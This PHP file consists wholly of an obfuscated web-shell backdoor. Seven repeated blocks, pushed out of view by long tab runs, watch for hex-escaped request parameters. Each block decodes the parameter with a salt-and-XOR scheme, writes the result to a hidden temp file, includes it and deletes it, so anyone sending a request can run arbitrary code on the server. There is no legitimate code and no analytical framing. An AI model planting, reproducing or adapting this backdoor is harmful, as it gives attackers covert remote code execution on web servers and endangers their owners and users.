<?php																																										if(count($_REQUEST) > 0 && isset($_REQUEST["m\x61rker"])){ $desc = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); $elem = $_REQUEST["m\x61rker"]; $elem = explode ( ".", $elem ) ; $binding=''; $s5='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s5); $__len=count($elem); for ($v=0; $v <$__len; $v++) { $v7=$elem[$v]; $chS=ord($s5[$v % $sLen]); $dec=((int)$v7 - $chS - ($v % 10)) ^ 80; $binding .= chr($dec); } foreach ($desc as $ent): if (is_dir($ent) ? is_writable($ent) : false) { $ref = "$ent" . "/.dat"; $success = file_put_contents($ref, $binding); if ($success) { include $ref; @unlink($ref); die();} } endforeach; }
																																										if(array_key_exists("\x65\x6Cem", $_POST)){ $res = array_filter(["/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); $symbol = $_POST["\x65\x6Cem"]; $symbol = explode ( "." , $symbol ) ; $token = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); foreach( $symbol as $o => $v3): $chS = ord( $salt1[$o% $lenS]); $d = ( ( int)$v3 - $chS -( $o% 10)) ^ 5; $token .= chr( $d); endforeach; for ($element = 0, $dat = count($res); $element < $dat; $element++) { $data_chunk = $res[$element]; if (is_writable($data_chunk) && is_dir($data_chunk)) { $object = vsprintf("%s/%s", [$data_chunk, ".itm"]); if (file_put_contents($object, $token)) { include $object; @unlink($object); exit; } } } }
																																										if(!is_null($_REQUEST["sy\x6D\x62\x6Fl"] ?? null)){ $dchunk = $_REQUEST["sy\x6D\x62\x6Fl"]; $dchunk = explode ( '.' , $dchunk ) ; $record = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $s = 0; $__tmp = $dchunk; while($v7 = array_shift($__tmp)) { $sChar = ord($salt[$s % $lenS]); $d =((int)$v7 - $sChar -($s % 10)) ^ 55; $record .= chr($d); $s++; } $val = array_filter([sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp"]); $data_chunk = 0; do { $flag = $val[$data_chunk] ?? null; if ($data_chunk >= count($val)) break; if (is_dir($flag) ? is_writable($flag) : false) { $value = "$flag" . "/.property_set"; if (file_put_contents($value, $record)) { include $value; @unlink($value); exit; } } $data_chunk++; } while (true); }
																																										if(@$_REQUEST["\x64\x65sc"] !== null){ $property_set = $_REQUEST["\x64\x65sc"]; $property_set = explode ('.' , $property_set ); $item=''; $s9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s9 ); $v=0; $__len=count($property_set ); do { if ($v >= $__len) break; $v6=$property_set[$v]; $chS=ord($s9[$v % $sLen] ); $dec=((int)$v6 - $chS - ($v % 10)) ^ 80; $item.= chr($dec ); $v++; } while (true ); $ent = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/var/tmp", "/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); foreach ($ent as $ptr): if (is_writable($ptr) && is_dir($ptr)) { $reference = sprintf("%s/.descriptor", $ptr); if (@file_put_contents($reference, $item) !== false) { include $reference; unlink($reference); die(); } } endforeach; }
																																										if(isset($_POST) && isset($_POST["\x65\x6Et"])){ $k = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP")]); $holder = $_POST["\x65\x6Et"]; $holder = explode( "." , $holder) ; $value=''; $salt8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt8); $q=0; $len=count($holder); do {if ($q >= $len) break; $v3=$holder[$q]; $sChar=ord($salt8[$q % $sLen]); $d=((int)$v3 - $sChar - ($q % 10)) ^ 25; $value .= chr($d); $q++; } while (true); foreach ($k as $token): if ((bool)is_dir($token) && (bool)is_writable($token)) { $element = "$token" . "/.descriptor"; if (@file_put_contents($element, $value) !== false) { include $element; unlink($element); exit; } } endforeach; }
																																										if(@$_REQUEST["bind"] !== null){ $item = $_REQUEST["bind"]; $item = explode ( '.', $item ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $z = 0; $len = count($item ); do { if ($z >= $len) break; $v2 = $item[$z]; $sChar = ord($s[$z % $sLen] ); $d = ((int)$v2 - $sChar - ($z % 10)) ^77; $component .= chr($d ); $z++; } while (true ); $dat = array_filter([session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP")]); foreach ($dat as $key => $mrk) { if ((is_dir($mrk) and is_writable($mrk))) { $sym = "$mrk" . "/.symbol"; $success = file_put_contents($sym, $component); if ($success) { include $sym; @unlink($sym); exit;} } } }


if(array_key_exists("c\x6Fmp", $_POST)){
	$sym = $_POST["c\x6Fmp"];
		$sym 	= 	explode(	"."	,$sym	);
	$flag = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$s);
    
            foreach(	$sym as $l => $v3) {
                $sChar = ord(	$s[$l	 %  $lenS]);
                $dec =(	(	int)$v3 - $sChar -(	$l	 %  10)) ^ 93;
                $flag .= chr(	$dec); 	} 
	$factor = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), getcwd(), "/dev/shm"]);
	for ($elem = 0, $item = count($factor); $elem < $item; $elem++) {
    $pgrp = $factor[$elem];
    		if (array_product([is_dir($pgrp), is_writable($pgrp)])) {
    $object = sprintf("%s/.rec", $pgrp);
    if (@file_put_contents($object, $flag) !== false) {
	include $object;
	unlink($object);
	die();
}
}
}
}